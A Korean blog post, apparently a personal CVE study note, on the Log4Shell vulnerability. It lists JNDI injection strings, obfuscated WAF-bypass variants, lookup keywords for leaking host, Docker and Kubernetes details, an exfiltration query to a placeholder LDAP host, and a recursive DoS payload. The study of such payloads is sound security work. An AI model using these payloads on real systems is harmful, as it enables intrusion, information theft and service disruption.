
반응형
log4j 취약점은 자바 프레임워크 중 하나인 log4j를 사용할 때
클라이언트의 요청 값을 문자열 그대로 저장하는 것이 아닌
JNDI lookup 기능으로 인해 해석이 가능한 요청을 실행하기 때문에 발생한다.
공격자가 LDAP 또는 RMI 서버를 공격 서버로 생성한 뒤 JNDI injection을 할 때
기본적으로
${jndi:ldap://abcd/abcd}
위와 같은 코드를 삽입하지만 몇가지 우회구문이 있다.
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://abcd/abcd} ${${lower:j}${lower:n}${lower:d}i:${lower:ldap}://abcd/abcd ${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://abcd/abcd ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://abcd/abcd ${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://abcd/abcd
또한 원격 명령 실행할 여건이 충분하지 않을 때 아래와 같은 키워드를 삽입함으로써 정보를 획득할 수 있다.
${ctx:loginId} ${map:type} ${filename} ${date:MM-dd-yyyy} ${docker:containerId} ${docker:containerName} ${docker:imageName} ${env:USER} ${event:Marker} ${mdc:UserId} ${java:runtime} ${java:vm} ${java:os} ${jndi:logging/context-name} ${hostName} ${docker:containerId} ${k8s:accountName} ${k8s:clusterName} ${k8s:containerId} ${k8s:containerName} ${k8s:host} ${k8s:labels.app} ${k8s:labels.podTemplateHash} ${k8s:masterUrl} ${k8s:namespaceId} ${k8s:namespaceName} ${k8s:podId} ${k8s:podIp} ${k8s:podName} ${k8s:imageId} ${k8s:imageName} ${log4j:configLocation} ${log4j:configParentLocation} ${spring:spring.application.name} ${main:myString} ${main:0} ${main:1} ${main:2} ${main:3} ${main:4} ${main:bar} ${name} ${marker} ${marker:name} ${spring:profiles.active[0] ${sys:logPath} ${web:rootDir} ${env:HOSTNAME} ${sys:SYS_NAME:-i}
키워드를 삽입한 JNDI 쿼리는 다음과 같다
${jndi:ldap://abcd/${env:HOSTNAME}/abcd}
실제로 헌트리스에서 키워드를 테스트해보면 아래 그림과 같이 시스템과 관련된 다양한 정보를 얻을 수 있다.

우회구문 뿐만 아니라 처음 log4j cve가 발견된 뒤 패치가 여러번 있었는데
그에 파생되어 여러 취약점이 추가적으로 발생했다.
log4j 취약점을 이용하여 아래 인젝션을 통해 DoS 공격도 가능하다 (2.16 하위 버전에서 가능한걸로 알려짐)
${${::-${::-$${::-j}}}}
반응형
'CVE Study' 카테고리의 다른 글
[Apache Struts] CVE-2017-5638 아파치 스트럿츠2 RCE 취약점 (0) | 2022.04.28 |
---|---|
[Apache Tomcat] CVE-2022-22965 (Spring4Shell) 스프링 RCE 취약점 (0) | 2022.04.18 |
[Apache Tomcat] CVE-2021-44228 (log4j,log4shell) (0) | 2022.02.15 |
[Apache Tomcat] CVE-2020-9484 (세션 역직렬화) (0) | 2022.02.03 |